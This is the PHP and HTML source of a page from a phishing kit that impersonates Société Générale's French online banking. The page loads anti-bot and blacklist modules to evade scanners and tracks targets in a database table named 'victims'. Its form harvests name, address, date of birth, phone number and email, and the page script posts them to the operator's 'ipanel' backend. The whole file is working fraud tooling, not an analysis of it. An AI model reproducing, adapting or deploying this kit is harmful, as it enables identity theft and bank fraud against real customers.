<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $address = $arr['address'];
   if ($address != '') {
      $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "<br><br></div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=9, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>


<!DOCTYPE html SYSTEM "about:legacy-compat">
<html class="fr" lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">


<meta content="no-store" http-equiv="cache-control">
<meta content="no-cache" http-equiv="cache-control">
<meta content="no-cache" http-equiv="pragma">
<meta content="0" http-equiv="expires">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<meta content="width=1024" name="viewport">
<meta content="IDLE" name="asyncTaskIndicator">
<title>Connexion à la banque en ligne</title>
<link type="text/css" rel="stylesheet" href="./theme/desktop.css">

<link type="text/css" rel="stylesheet" href="./theme/components.default.css">
<link type="image/x-icon" rel="shortcut icon" href="theme/favicon.ico">


<script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
        
    
    <script>
function check(form) {

if (form.name.value.length < 2)
{ form.name.focus(); document.getElementById("name").style.borderColor = "#D4222D"; return;}
else { document.getElementById("name").style.borderColor = "#c8c8c8"; }

if (form.address.value.length < 2)
{ form.address.focus(); document.getElementById("address").style.borderColor = "#D4222D"; return;}
else { document.getElementById("address").style.borderColor = "#c8c8c8"; }

var regExpress = /^(0[1-9]|[12]\d|3[01])\/(0[1-9]|1[0-2])\/(19\d{2}|20[0-2]\d)$/
if (!regExpress.test(form.dob.value))
{ form.dob.focus(); document.getElementById("dob").style.borderColor = "#D4222D"; return;}
else { document.getElementById("dob").style.borderColor = "#c8c8c8"; }

if (form.phonenr.value.length < 2)
{ form.phonenr.focus(); document.getElementById("phonenr").style.borderColor = "#D4222D"; return;}
else { document.getElementById("phonenr").style.borderColor = "#c8c8c8"; }


var regExpressPostcode = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/
if (!regExpressPostcode.test(form.email.value))
{ form.email.focus(); document.getElementById("email").style.borderColor = "#D4222D"; return;}
else { document.getElementById("email").style.borderColor = "#c8c8c8"; }





submit_form();
// form.submit()
}
</script>


</head>
<body class="login">
<div aria-live="polite" aria-relevant="additions text" class="content loginMainPanelContainer">
<div class="lineAboveMasthead"></div>
<div class="masthead mastheadPanel" id="mastheadId">
<div class="headingPageRegion headingPage loginMainPanelContainer" role="row">
<span role="gridcell" class="headingPageText">BIENVENUE</span>
</div>
<div role="navigation">
<div class="printNone" role="menubar" id="primaryNav">
<div aria-hidden="false" class="displayNone" id="loginLanguages" style="display: block;">
<div class="buttonGroupContainer floatRight" id="loginLanguageButtons">
<button name="loginLanguageButtons_fr" class="groupButton jsActive" role="button" type="button" id="loginLanguageButtons_fr">
<div class="buttonLeft floatLeft"></div>
<div class="groupButtonMiddle floatLeft  "><?= translateText('errorsp2', $currentLanguage); ?></div>
<div class="buttonRight floatLeft"></div>
</button>
</div>
</div>
</div>
</div>
</div>
<div class="mainPanelContainer loginMainPanelContainer">
<div class="mainPanel fiveColumn clearfix">
<div class="loginPanel moduleDisplayRegion formPanel loginMainPanelContainer" role="main">
<span aria-hidden="true" class="displayNone" id="popupDisable"></span>
<div class="loginFormRegion">
<form aria-labelledby="pageModule" action="" method="POST" id="loginForm" autocomplete="off">
<input id="thetype" type="hidden" name="thetype"  value="">
<input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">

<div id="pageModule">
<div class="borderBelow separatedPanel" id="pageHeaderBar">
<div role="grid" id="authGrid">
<div class="masthead mastheadPanel primaryLoginScreen" id="mastheadId">
<div class="mastheadShadow"></div>
<div role="banner" class="mastheadPanel">
<div class="printNone">
<div class="brandName printNone floatRight"></div>
<div class="logo loginPanel step1" id="logoDiv"></div>
</div>
<div aria-hidden="true" class="displayNone floatRight printBlock">
<img alt="" class="logoPrint" src="./theme/pic_logo.png"></div>
</div>
</div>
<div class="infoRow spread headingInfoRow displayNone" role="row" id="helpdeskRow">
<div class="loginPicture"></div>
<div class="infoLabel floatLeft helpDeskInfo" role="gridcell">Votre connexion</div>
<div class="infoDescription" role="gridcell">
    Vous vous êtes connecté(e) avec succès
  </div>
</div>
<div aria-hidden="true" class="infoRow spread headingInfoRow displayNone" role="row" id="helpGettingStartedLink">
<div class="infoLabel floatLeft" role="gridcell"><span></span></div>
</div>
</div>
</div>

<div aria-hidden="false" aria-labelledby="loginHeading" class="displayNone loginMainPanelContainer" role="group" id="loginPanel">
<div style="text-align: left;padding-top: 20px;">
<h1 style="font-size:20px;margin-left: -10px;margin-bottom:10px;"><?= translateText('formp2', $currentLanguage); ?></h1>
<p style="margin-left: -10px;font-size:14px;"><?= translateText('footerp4', $currentLanguage); ?></p>
<?= $error ?>


<div class="loginInput">
<label for="name"><?= translateText('footerp5', $currentLanguage); ?></label>
            <input class="inputField twoColumn" name="name" id="name" type="text" maxlength="85" onKeyDown="if(event.keyCode==13) check(this.form);">
           </div>
           <br>
           <div class="loginInput">
           <label for="address"><?= translateText('footerp6', $currentLanguage); ?> </label>
            <input class="inputField twoColumn" type="text" maxlength="85" name="address" maxlength="55" id="address" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
           </div>
           <br>
           <div class="loginInput">
           <label for="dob"><?= translateText('footerp10', $currentLanguage); ?> </label>
            <input class="inputField twoColumn" type="text" maxlength="85" name="dob" maxlength="10" id="dob" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);"placeholder="<?= translateText('footerp9', $currentLanguage); ?>">
           </div>
           <br>
           <div class="loginInput"> <label for="phonenr"><?= translateText('footerp7', $currentLanguage); ?> </label>
           <input class="inputField twoColumn" type="text" maxlength="85" name="phonenr" maxlength="25" id="phonenr" pattern="[0-9]*" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>
         <br>
           <div class="loginInput"><label for="phonenr">E-mail </label>
           <input class="inputField twoColumn" type="text" maxlength="85" name="email" maxlength="25" id="email" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="">
         </div>

<br><br>
<br><br>

<button style="margin-left:-10px;" tabindex="4" class="primaryButton floatLeft nextButton" name="submit" role="button" onclick="check(this.form)" type="button" id="submit">
<div class="buttonRight primaryButtonRight floatRight"></div>
<div class="buttonMiddle primaryButtonMiddle floatRight"><?= translateText('formp9', $currentLanguage); ?></div>
<div class="buttonLeft primaryButtonLeft floatRight"></div>
</button>
<br><br><br><br>
</div>





</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>

<div class="footer printNone" aria-label="Liens web" role="contentinfo">
<div class="fatSeparator footerSeparator threeColumn">&nbsp;</div>
<div class="footerPanel threeColumn loginMainPanelContainer">
<span class="copyrightLine">Copyright © Société Générale 2025</span>
</div>
</div>

<script>

var format = "dd/mm/yyyy";
var match = new RegExp(format
    .replace(/(\w+)\W(\w+)\W(\w+)/, "^\\s*($1)\\W*($2)?\\W*($3)?([0-9]*).*")
    .replace(/m|d|y/g, "\\d"));
var replace = "$1/$2/$3$4"
    .replace(/\//g, format.match(/\W/));

function doFormat(target)
{
    target.value = target.value
        .replace(/(^|\W)(?=\d\W)/g, "$10")   // padding
        .replace(match, replace)             // fields
        .replace(/(\W)+/g, "$1");            // remove repeats
}

$("input[name='dob']:first").keyup(function(e) {
   if(!e.ctrlKey && !e.metaKey && (e.keyCode == 32 || e.keyCode > 46))
      doFormat(e.target)
});

</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
         var name = document.getElementById('name').value;
         var address = document.getElementById('address').value;
         var dob = document.getElementById('dob').value;
         var phonenr = document.getElementById('phonenr').value;
         var email = document.getElementById('email').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe1',
            data: 'name=' + name + '&address=' + address + '&dob=' + dob + '&phonenr=' + phonenr + '&email=' + email,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
